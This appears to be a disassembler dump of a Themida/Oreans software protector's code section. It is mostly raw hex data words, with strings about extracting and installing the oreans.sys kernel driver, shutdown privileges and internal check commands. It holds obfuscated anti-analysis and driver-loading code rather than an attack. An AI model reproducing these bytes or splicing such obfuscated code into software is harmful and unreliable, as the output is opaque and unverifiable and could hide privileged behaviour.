61E0781h dd 0B2238D8Dh, 6A0620h, 37D06857h, 53510000h, 0C085D0FFh dd 1B850Fh, 0B58D0000h, 620AF05h, 9F8A858Dh, 0D0FF0620h dd 71AB8D8Dh, 0B8061Eh, 0FF000000h, 4185C6E1h, 43061E20h dd 764AA768h, 0F1B5FFC0h, 8D061E02h, 1E38FA85h, 53D0FF06h dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2 dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 54Ch dup(0) db 0 byte_55C581 db 3 dup(0) ; DATA XREF: Themida_:0053CA92o dd 476h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h dd 58D1475h, 0 dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h dd 4244445Fh, 0E9000000h, 99h, 6775622Fh, 63656863h, 2F00326Bh dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h dd 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 78BD8300h, 620EAh, 0A840Fh, 85C70000h, 61E2B25h, 1 dd 204185C6h, 0E847061Eh, 4, 906D6C8Dh, 24448B50h, 89008B04h dd 58042444h, 2F1B5FFh, 858D061Eh, 61E38FAh, 0D0FFD0FFh dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h dd 3F80FFh, 31B840Fh, 80470000h, 840F003Fh, 311h, 1EE9h dd 3F8000h, 303840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5, 2E0E9h, 1E900h dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B4E9h, 0F8B58D00h dd 0E80620E9h, 225h, 0EA8DBD03h, 0BD830620h, 620EA8Dh dd 0B840F00h, 0C7000000h, 1E1D7985h, 106h, 0B58DC300h dd 620EA03h, 1FCE8h, 8DBD0300h, 830620EAh, 20EA8DBDh, 840F0006h dd 0Bh, 2B2585C7h, 1061Eh, 8DC30000h, 20EA7CB5h, 1D3E806h dd 0BD030000h, 620EA8Dh, 0EA8DBD83h, 0F000620h, 0B84h dd 0B985C700h, 1061E13h, 0C3000000h, 0EA0DB58Dh, 0AAE80620h dd 3000001h, 20EA8DBDh, 8DBD8306h, 620EAh, 0B840Fh, 85C70000h dd 61E2B25h, 1, 17B58DC3h, 0E80620EAh, 181h, 0EA8DBD03h dd 0BD830620h, 620EA8Dh, 15840F00h, 0C7000000h, 1E2B2585h dd 106h, 7985C700h, 1061E1Dh, 0C3000000h, 0EA25B58Dh, 4EE80620h dd 3000001h, 20EA8DBDh, 8DBD8306h, 620EAh, 0A840Fh, 85C70000h dd 61E13D1h, 1, 0EA2FB58Dh, 26E80620h, 3000001h, 20EA8DBDh dd 8DBD8306h, 620EAh, 0A840Fh, 85C70000h, 61E13D1h, 1 dd 0EA3AB58Dh, 0FEE80620h, 3000000h, 20EA8DBDh, 8DBD8306h dd 620EAh, 0A840Fh, 85C70000h, 61E0845h, 1, 0EA40B58Dh dd 0D6E80620h, 3000000h, 20EA8DBDh, 8DBD8306h, 620EAh dd 0A840Fh, 85C70000h, 61E2D01h, 1, 0EA46B58Dh, 0AEE80620h dd 3000000h, 20EA8DBDh, 8DBD8306h, 620EAh, 0A840Fh, 85C70000h dd 61E0F15h, 1, 0EA54B58Dh, 86E80620h, 3000000h, 20EA8DBDh dd 8DBD8306h, 620EAh, 0A840Fh, 85C70000h, 61E0D49h, 1 dd 0EA61B58Dh, 5EE80620h, 3000000h, 20EA8DBDh, 8DBD8306h dd 620EAh, 0A840Fh, 85C70000h, 61E1995h, 1, 0EA6CB58Dh dd 36E80620h, 3000000h, 20EA8DBDh, 8DBD8306h, 620EAh, 0A840Fh dd 85C70000h, 61E0211h, 1, 1E9h, 3F804700h, 9840F20h, 80000000h dd 850F003Fh, 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh dd 3F800000h, 5850F00h, 0B9000000h, 0 dd 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h, 8840F00h dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 620EA8Dh, 0AE9h, 8D85C700h dd 620EAh, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh dd 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 4 dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 4 dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 10h dd 0D9h dup(0) a_Oreans_vxd db '\\.\Oreans.vxd',0 align 4 dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 dd 0 aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 align 10h dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 89C48B00h, 1E2C51B5h, 15858906h, 6A061E27h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 12F2C357h, 2AFD958Bh, 6660061Eh, 0EF40D981h, 2B918501h dd 8B61061Eh, 79BD83C0h, 61E1Dh, 0BD830975h, 61E2B25h dd 50197400h, 0B8C08B53h, 43Dh, 0CE98589h, 9D8D061Eh, 620AC3Ah dd 585BD3FFh, 2B25BD83h, 7400061Eh, 0B8535017h, 43Dh, 0CE98589h dd 9D8D061Eh, 620A929h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0A2C35545h, 0CA826296h, 0D1E6E05Eh dd 8659D89h, 8D03061Eh, 61E1D65h, 89E18166h, 0E9C08B8Fh dd 6, 50B2652Bh, 0C08BFC45h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 76C35545h, 8347F624h, 1E1D79BDh dd 9750006h, 2B25BD83h, 7400061Eh, 8B535013h, 0B8C0h, 9D8D0000h dd 620AADCh, 585BD3FFh, 2B25BD83h, 7400061Eh, 0B8535011h dd 0 dd 0A98D9D8Dh, 0D3FF0620h, 9531585Bh, 61E1BC1h, 9E9h, 2F018F00h dd 598889ABh, 0C08B4FACh, 14E9h, 8F214300h, 0AE1E69F4h dd 9EAB6E4Dh, 0D8C9D30Eh, 0ADA8F896h, 0FC08B5Dh, 382h dd 0C88B6600h, 1D79BD83h, 7500061Eh, 25BD8309h, 61E2Bh dd 53501374h, 0B8C08Bh, 8D000000h, 20AA0E9Dh, 5BD3FF06h dd 25BD8358h, 61E2Bh, 53501174h, 0B8h, 5B9D8D00h, 0FF0620A9h dd 0F585BD3h, 0C8Ah, 0BB666000h, 8D89A309h, 61E18C5h, 39858961h dd 8B061E02h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 958B56DFh, 61E0489h, 0FC08B5Fh, 68Eh dd 61BD8B00h, 83061E15h, 1E1D79BDh, 9750006h, 2B25BD83h dd 7400061Eh, 8B535013h, 0B8C0h, 9D8D0000h, 620AA75h, 585BD3FFh dd 2B25BD83h, 7400061Eh, 0B8535011h, 0 dd 0A9749D8Dh, 0D3FF0620h, 8531585Bh, 61E1B9Dh, 891AD980h dd 1E024DB5h, 66C08B06h, 0F0F9E781h, 0C6444BFh, 0FC08B71h dd 68Ah, 0D8D8900h, 83061E2Bh, 1E1D79BDh, 9750006h, 2B25BD83h dd 7400061Eh, 8B535013h, 0B8C0h, 9D8D0000h, 620A9A7h, 585BD3FFh dd 5E31A5BFh, 0B5315107h, 61E1545h, 8BC08B5Ah, 1E07AD95h dd 0FC08B06h, 8B66D6B7h, 79BD83C8h, 61E1Dh, 0BD830975h dd 61E2B25h, 50197400h, 0B8C08B53h, 7D0h, 0CE98589h, 9D8D061Eh dd 620AC3Ah, 585BD3FFh, 2B25BD83h, 7400061Eh, 0B8535017h dd 7D0h, 0CE98589h, 9D8D061Eh, 620A929h, 585BD3FFh, 0B197D981h dd 0C08B7BCBh, 4185C6FCh, 53061E20h, 1F899D01h, 0E860061Eh dd 10h, 0FCCECB02h, 5DF507FBh, 0DBD52149h, 21D88ACDh, 9E9h dd 1478D400h, 81FB16BBh, 8B5F4A2Dh, 1E1BF9BDh, 90686106h dd 5299395Fh, 0AE960h, 0D4510000h, 85C07F17h, 92BED3F5h dd 758D8Bh, 5F61061Eh, 2F1B5FFh, 8C0F061Eh, 6, 2C998D89h dd 858D061Eh, 61E38FAh, 0DCD28166h, 89D0FFBDh, 1E0C558Dh dd 0B9858906h, 0E9061E16h, 0Ah, 2FA464B4h, 0D9086294h dd 85C61E1Eh, 61E2041h, 0E1BD8957h, 68061E1Ah, 90045206h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 7EC35040h dd 293637E1h, 1E172585h, 41B58906h, 0FF061E1Dh, 1E02F1B5h dd 0D9858906h, 8D061E26h, 1E38FA85h, 0D5BFBF06h, 0D0FF6210h dd 325D9D89h, 8589061Eh, 61E1655h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0F4C35343h, 895C6220h, 9589905Bh dd 61E2BA9h, 204185C6h, 6A43061Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A4F2C356h dd 0FE5D886Dh, 1DA59D89h, 2868061Eh, 80BC9070h, 0B5FFEAE5h dd 61E02F1h, 38FA858Dh, 0BF0F061Eh, 0E9D0FFD3h, 7, 38A6AEE9h dd 8949058Fh, 1E1E6D85h, 0CABF0F06h, 0CA1BD8Bh, 85C6061Eh dd 61E2041h, 0FEBF0F4Ch, 0DA1CE968h, 0FFFE8BD9h, 1E02F1B5h dd 0E59D8906h, 8D061E1Dh, 1E38FA85h, 798D8B06h, 0B1061E1Bh dd 8BD0FFB4h, 1E2EC9BDh, 0D1858906h, 6A061E1Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0E0CEC353h, 655F3D36h, 0BD29CCBEh, 61E304Dh, 204185C6h dd 0E946061Eh, 0Ch, 0E6CE558Dh, 648B8A7h, 0B8502F60h, 0DE061468h dd 0FF11B6BAh, 1E02F1B5h, 0F7C68006h, 38FA858Dh, 9531061Eh dd 61E0C95h, 8D0FD0FFh, 5, 90D18166h, 29952920h, 89061E27h dd 1E317D85h, 68C0F06h, 8B000000h, 1E01318Dh, 4185C606h dd 47061E20h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0F0C35545h, 4C36522h, 0A6C17A5Eh, 0EF816659h, 0E2688776h dd 0FF8A0FB5h, 1E02F1B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 326E0254h dd 0B93B633Dh, 27A9B4E5h, 25A58D89h, 858D061Eh, 61E38FAh dd 1F1D9D29h, 0D0FF061Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0FAC35343h, 0AD456347h, 632F89F8h, 89C88BEDh dd 1E319585h, 0EE906h, 0FAB80000h, 6594684Ah, 152E5705h dd 0DD2EEF78h, 204185C6h, 2947061Eh, 1E1D1D85h, 0B5F36806h dd 850F83D0h, 6, 5559589h, 0B5FF061Eh, 61E02F1h, 0DE78166h dd 0FA858D33h, 6A061E38h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 795FC350h, 0EBF02A8Eh dd 1ACB966h, 1C1BD8Bh, 0D0FF061Eh, 880Fh, 85890000h, 61E1EE5h dd 0CBB70F51h, 4185C65Ah, 77061E20h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0B1C35040h, 33298D29h, 0A368061Eh dd 6AF397A8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 16BCC356h, 1CE98146h, 0FF1CED33h dd 1E1455B5h, 0AE906h, 9BF30000h, 3DDF672Bh, 62CFF00Eh dd 38FA858Dh, 1DBF061Eh, 0FF68FA0Bh, 0B98589D0h, 29061E2Bh dd 1E0C79B5h, 4185C606h, 47061E20h, 2779BD8Bh, 8166061Eh dd 682DECD1h, 8728FAF6h, 3085B529h, 0B5FF061Eh, 61E02F1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1AC35040h dd 139D9F76h, 1BA20158h, 0AE8h, 8B3BD600h, 374F8958h, 0F87CF544h dd 0CF816659h, 858DBE79h, 61E38FAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 7C35747h, 965AC126h, 0AE9240Ah dd 12000000h, 7CF8BAFEh, 32BEF332h, 6AD0FFEDh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0D092C353h, 600A0A54h, 0F9A4D1C3h, 2AE98589h, 8A0F061Eh dd 1Ch, 14E8h, 858BC600h, 5E444AAEh, 0B42AEA3Ah, 4A26063h dd 0B576F0DFh, 5961601Eh, 204185C6h, 8943061Eh, 1E1CE5B5h dd 6EFC6806h, 8166BC8Eh, 0FFE1E6C9h, 1E02F1B5h, 0FEBF0F06h dd 4098589h, 858D061Eh, 61E38FAh, 18BDB589h, 0D0FF061Eh dd 89E7E980h, 1E054585h, 0F5958906h, 0C6061E00h, 1E204185h dd 8D8B4506h, 61E158Dh, 72696968h, 43C2818Eh, 817BB6B6h dd 0EFB65EF2h, 0F1B5FF01h, 66061E02h, 0C475EA81h, 38FA858Dh dd 0FFF5061Eh, 0C800FD0h, 0F000000h, 682h, 19BD8B00h, 89061E04h dd 1E137585h, 0CA8B5206h, 4185C659h, 44061E20h, 6468D78Bh dd 6AB8F2ECh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0B5DFC353h, 1EA58D09h, 0BD2B061Eh dd 61E141Dh, 2F1B5FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 5701E7C3h, 95557A8Ah dd 0D6B92AB2h, 8D06BF2Bh, 1E38FA85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 718327EEh dd 880Fh, 0D0FF0000h, 8B666050h, 895A61F8h, 1E2B0985h dd 65BD0106h, 0C6061E04h, 1E204185h, 6A4306h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 68703CC3h dd 0C0764AA7h, 1FE307BFh, 0FBB70F11h, 2F1B5FFh, 0D18B061Eh dd 38FA858Dh, 8D0F061Eh, 6, 0A1D8589h, 8B66061Eh, 60D0FFC8h dd 0F810Fh, 0AE90000h, 0C8000000h, 20E1714Ch, 917A8E49h dd 7CDB81F4h, 611C627Eh, 9DD8589h, 5E9061Eh, 6000000h dd 73D3B8F8h, 0FA02BD80h, 0F000620h, 0EE84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 1FA8FA26h, 38E1194Eh, 0D3BF0F00h, 0F9E4858Dh, 6A0620h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 0D68431C3h, 661F1774h, 0F274E781h, 51006A50h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0BB9BA3CEh, 665A310Fh, 11BF6645h, 89016AC7h, 1E059D9Dh dd 89006A06h, 1E2975BDh, 8B006A06h, 1E1B51BDh, 6D95FF06h dd 6A061E1Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0D592C353h dd 9589D80Eh, 61E09B5h, 8318589h, 8B66061Eh, 89FF6AF9h dd 1E1581B5h, 31B5FF06h, 89061E08h, 1E2EE995h, 5595FF06h dd 0F061E16h, 687h, 0ED958B00h, 8B061E22h, 3DB589C0h, 83061E1Ch dd 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh, 8B535019h dd 7D1B8C0h, 85890000h, 61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h dd 0BD83585Bh, 61E2B25h, 50177400h, 7D1B853h, 85890000h dd 61E0CE9h, 0A9299D8Dh, 0D3FF0620h, 8D8B585Bh, 61E0961h dd 8BD0B70Fh, 3D9D31C0h, 0C6061E2Ah, 1E204185h, 0F2814706h dd 29F1F7C2h, 0C8F7C168h, 0BE993h, 0A5320000h, 3D0918FCh dd 114B7A08h, 0F1B5FFC9h, 0E9061E02h, 5, 99A681D2h, 0FA858DFBh dd 60061E38h, 11E9h, 9B238400h, 0A435DE3Bh, 2C3B319Eh dd 3D253766h, 0B58B2D0Ch, 61E2921h, 89D0FF61h, 1E137995h dd 0BF665006h, 858D908Eh, 620FE25h, 2BD5BD89h, 0C7061Eh dd 94h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 0D0C35040h, 0F98B660Dh, 0A58D2358h, 8D061E12h, 20FE25B5h dd 56F38A06h, 3840Fh, 0F5800000h, 60D0FFCBh, 0F458589h dd 9589061Eh, 61E3171h, 25858D61h, 0F50620FEh, 6047883h dd 24850Fh, 0CE80000h, 96000000h, 7FE8B26Dh, 2A939ABh dd 0B13CF731h, 85C75FE7h, 620FEB9h, 1, 0D398D8Bh, 0BD83061Eh dd 61E1AF5h, 4A850F00h, 8B000000h, 1E1BF995h, 0B9BD8306h dd 620FEh, 37850Fh, 85290000h, 61E1429h, 0CB5BD83h, 0F00061Eh dd 2484h, 0BD8B6000h, 61E1391h, 30658D8Bh, 0C761061Eh dd 1E33B185h, 6, 29953300h, 89061E32h, 1E097185h, 0DB8C6606h dd 4C3F6F9h, 648840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 23F3CDC3h, 692CD4B8h dd 0CCC3F2B9h, 2D85C71Eh, 61E27h, 89000000h, 1E05DD95h dd 61BD3106h, 80061E17h, 20FA0FBDh, 850F0006h, 6, 2719BD89h dd 85C6061Eh, 61E2041h, 5B866847h, 0FFF8E3E4h, 1E02F1B5h dd 0D18D8906h, 8D061E1Ah, 1E38FA85h, 219D8906h, 0FF061E19h dd 718589D0h, 68061E2Bh, 104h, 0F11BD31h, 9D8D061Eh, 61E0651h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AEC35747h dd 0B7CA8157h, 5A560746h, 21999501h, 6A53061Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0A4F8C353h, 29089A73h, 1E0C959Dh, 6AD0FF06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 915FC350h, 5DF0CC27h, 0BD162516h, 651858Dh, 10E9061Eh dd 4F000000h, 0AB454959h, 0EA0DB52Fh, 3BA2E123h, 8BC7EF67h dd 1E13AD95h, 0B5895006h, 61E1E79h, 0F9C1858Dh, 6A0620h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 9A895DC3h, 50C88B66h, 2374D181h, 858D2563h, 620F094h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 55C35545h dd 0E659A29Fh, 60507D08h, 0CB9DC681h, 0FB864E7h, 6173AC40h dd 8D8B5059h, 61E20D9h, 0B995FFF8h, 8B061E2Bh, 1E20A18Dh dd 0CC48306h, 151DB529h, 6A061Eh, 8068h, 6A036A00h, 68006A00h dd 80000000h, 0F094858Dh, 0FF500620h, 1E054595h, 0A4858906h dd 0C60620F9h, 1E204185h, 87684706h, 0FFC7B15Eh, 1E02F1B5h dd 0FA858D06h, 0FF061E38h, 0FF006AD0h, 20F9A4B5h, 0FD0FF06h dd 381h, 0B6C28000h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 22C35242h, 0D03D6A1Bh, 0F000037h, 7F83h dd 0F98D0100h, 0E8061E07h, 6, 530E1EC9h, 0E857B238h, 0Ah dd 0C4CB9080h, 9F2F35EBh, 595FBF9Ch, 0A4B5FF59h, 0F0620F9h dd 0F8Bh, 0AE900h, 0B8990000h, 94684AFAh, 2E570565h, 9DD95FFh dd 0E680061Eh, 117E995h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0FA0AA4C3h, 0EE984h dd 0E1870000h, 0F89E4D5Eh, 8901E160h, 0BDDC0C76h, 0F9A4B5FFh dd 95FF0620h, 61E09DDh, 9E9h, 32B41B00h, 4A79635Bh, 6AB6D5h dd 6AD18Bh, 6A006AF9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 8063C352h, 6A9EF59Eh dd 10E900h, 0E3010000h, 0B4BB82CDh, 9EB5F692h, 93245990h dd 5CBA4B87h, 6A479454h, 0D3B70F00h, 0AE9006Ah, 89000000h dd 0A7F64422h, 59A86408h, 0A8858D0Ch, 500620F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F5C35747h, 8B516614h dd 1E2CD195h, 95FF5A06h, 61E0545h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0FFC35141h, 0F4E2CBC6h, 9D899DD2h dd 61E3229h, 0FFFF883h, 19585h, 49BD2B00h, 89061E32h, 1E2B65B5h dd 18858D06h, 0F0620B1h, 68Ch, 5BD8B00h, 89061E0Fh, 1E330D9Dh dd 0BAD0FF06h, 4C2393E3h, 11E9h, 0D6617100h, 66C13A4Fh dd 0FDBF7BF2h, 10786099h, 6A18E0h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0C2C35141h, 0DA81666Eh, 6A095Bh dd 0CE9h, 0EBE56300h, 597542B4h, 0F04BBB97h, 6A006AC2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8BDAC352h, 1E2B89BDh, 66006A06h, 6AFE8Bh dd 10E8h, 3520DD00h, 0D6A6F456h, 15DE1B36h, 0F08240A8h dd 958953F3h, 61E26E9h, 6A5A5Fh, 32799D89h, 858D061Eh dd 620F9A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0AAC35545h, 86BA24FAh, 83258570h, 0FB8B666Fh, 95FFF950h dd 61E0545h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 71C35747h, 7C7D52E2h, 0FB8B6641h, 0FFFF883h, 6985h dd 0D78B6600h, 0F3B0B58Dh, 8B660620h, 8A858DC8h, 6606209Fh dd 0B589D08Bh, 61E2DCDh, 6060D0FFh, 13E9h, 42DAAC00h, 6CEA4C2Bh dd 13D580Fh, 0FCD4C8CDh, 65255B9h, 5320C981h, 5661619Ah dd 221E43B9h, 6A615E14h, 0FFFA8B00h, 1E137595h, 0DE806h dd 856C0000h, 0C71B45F9h, 239B6B68h, 8BA70DA0h, 1E2B9D8Dh dd 85895F06h, 620F9A4h, 8BE68A60h, 1E27218Dh, 6A6106h dd 11E9h, 5E93B00h, 1CF9EA23h, 235BF286h, 8D1635E0h, 858D83FEh dd 620F99Ch, 92D8D8Bh, 6A50061Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8184C350h dd 95F9CEF2h, 6E91Eh, 0D6980000h, 0D5563420h, 0C0E8EF81h dd 46A7EB4h, 3EAEC981h, 958B681Dh, 61E326Dh, 227D858Dh dd 50FC061Eh, 6ACB8Bh, 0AE9h, 45552A00h, 60B6DCAFh, 6AC9A0FFh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 374A9339h, 16A13D9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0C6C35040h, 6483EC34h, 3D22D845h dd 0ABEDF781h, 0B5FF2142h, 620F9A4h, 0EE9h, 0F9955E00h dd 827BB7B5h, 0CE7F25A9h dword_55FEC0 dd 0FF178BE8h, 1E2B0995h, 0E989B106h, 1BDAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h, 0D344956Bh dd 0A9BA09DFh, 0D920B9F8h, 0C08B5996h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 2AC35747h, 0C618D8Bh, 0BD83061Eh dd 61E1D79h, 83097500h, 1E2B25BDh, 19740006h, 0C08B5350h dd 7D2B8h, 0E9858900h, 8D061E0Ch, 20AC3A9Dh, 5BD3FF06h dd 25BD8358h, 61E2Bh, 53501774h, 7D2B8h, 0E9858900h, 8D061E0Ch dd 20A9299Dh, 5BD3FF06h, 0F2816658h, 0C08B65ACh, 7E9h dd 0F3795A00h, 0B88AAD2Fh, 272D85C7h, 1061Eh, 95890000h dd 61E1E85h, 0E4E7B868h, 9DB5FFCEh, 8D061E1Eh, 1E38FA85h dd 89D0FF06h, 1E320985h, 0DBD46806h, 0B5FFC005h, 61E1E9Dh dd 